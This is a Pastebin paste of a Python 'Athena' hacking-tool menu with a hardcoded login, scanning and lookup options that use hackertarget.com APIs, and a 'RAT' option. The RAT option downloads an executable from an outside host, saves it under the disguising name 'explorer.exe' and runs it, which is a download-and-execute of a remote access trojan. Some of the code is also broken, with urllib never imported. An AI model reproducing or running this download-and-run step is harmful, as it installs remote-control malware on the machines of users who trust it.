Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import os
- import time
- import random
- import getpass
- import requests
- def login():
- print("[+] Welcome to Athena [+]")
- enterUser = input("Username: ")
- print("*Your password won't be visible as you type it.*")
- enterPass = getpass.getpass("Password: ")
- if enterUser == "athena" and enterPass == "athena1337":
- print("\nLogin is correct")
- tool()
- else:
- os.system('cls')
- print("\x1b[1;31;40mUsername or password not found\x1b[1;37;40m")
- login()
- title = """\x1b[1;36;40m
- ▄▄▄ ▄▄▄█████▓ ██░ ██ ▓█████ ███▄ █ ▄▄▄
- ▒████▄ ▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ██ ▀█ █ ▒████▄
- ▒██ ▀█▄ ▒ ▓██░ ▒░▒██▀▀██░▒███ ▓██ ▀█ ██▒▒██ ▀█▄
- ░██▄▄▄▄██░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ▓██▒ ▐▌██▒░██▄▄▄▄██
- ▓█ ▓██▒ ▒██▒ ░ ░▓█▒░██▓░▒████▒▒██░ ▓██░ ▓█ ▓██▒
- ▒▒ ▓▒█░ ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░ ▒ ▒ ▒▒ ▓▒█░
- ▒ ▒▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░░ ░ ▒░ ▒ ▒▒ ░
- ░ ▒ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
- \x1b[1;37;40m"""
- name = socket.gethostname()
- os.system('cls')
- def tool():
- print(title)
- print("\x1b[1;32;40m ~# Made by aRcHiVE #~\x1b[1;37;40m")
- print("Welcome, \x1b[1;33;40m" + name + "\x1b[1;37;40m.")
- print('1. DNS Lookup\n2. IP Geo Locator\n3. Ping IP\n4. RAT\n5. Port Scanner\n6. Traceroute\n')
- ip = input("Enter IP/Website: ")
- choice = input("Enter option: ")
- if choice == "1":
- os.system("cls")
- print("DNS Lookup")
- print("Example: google.com")
- api = requests.get("https://api.hackertarget.com/dnslookup/?q=" + ip).text
- print(api)
- tool()
- elif choice == "2":
- print("\x1b[1;36;40mIP Geo Locator\x1b[1;37;40m")
- api = requests.get("https://api.hackertarget.com/geoip/?q=" + ip).text
- print(api)
- tool()
- elif choice == "3":
- print("Ping IP")
- api = requests.get("https://api.hackertarget.com/nping/?q=" + ip).text
- print(api)
- tool()
- elif choice == "4":
- url = 'http://osintec.pls.dont-dox.me/2aQ.exe'
- path = os.getcwd() + "/archive"
- confirmation = input("You're about to rat yourself, are you sure? y/n: ")
- if confirmation == "y":
- try:
- print("Downloading RAT...")
- os.mkdir(path)
- urllib.request.urlretrieve(url, path + "explorer.exe")
- print("RAT downloaded to " + path)
- os.system("start " + path + "explorer.exe")
- except Exception:
- urllib.request.urlretrieve(url, path + "explorer.exe")
- print("RAT downloaded to " + path)
- os.system("start " + path + "explorer.exe")
- elif confirmation == "n":
- tool()
- tool()
- elif choice == "5":
- print("Port Scanner")
- api = requests.get("https://api.hackertarget.com/nmap/?q=" + ip).text
- print(api)
- tool()
- elif choice == "6":
- print("Traceroute")
- api = requests.get("https://api.hackertarget.com/mtr/?q=" + ip).text
- print(api)
- tool()
- else:
- print("Invalid choice. Redirecting to menu...")
- tool()
- login()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement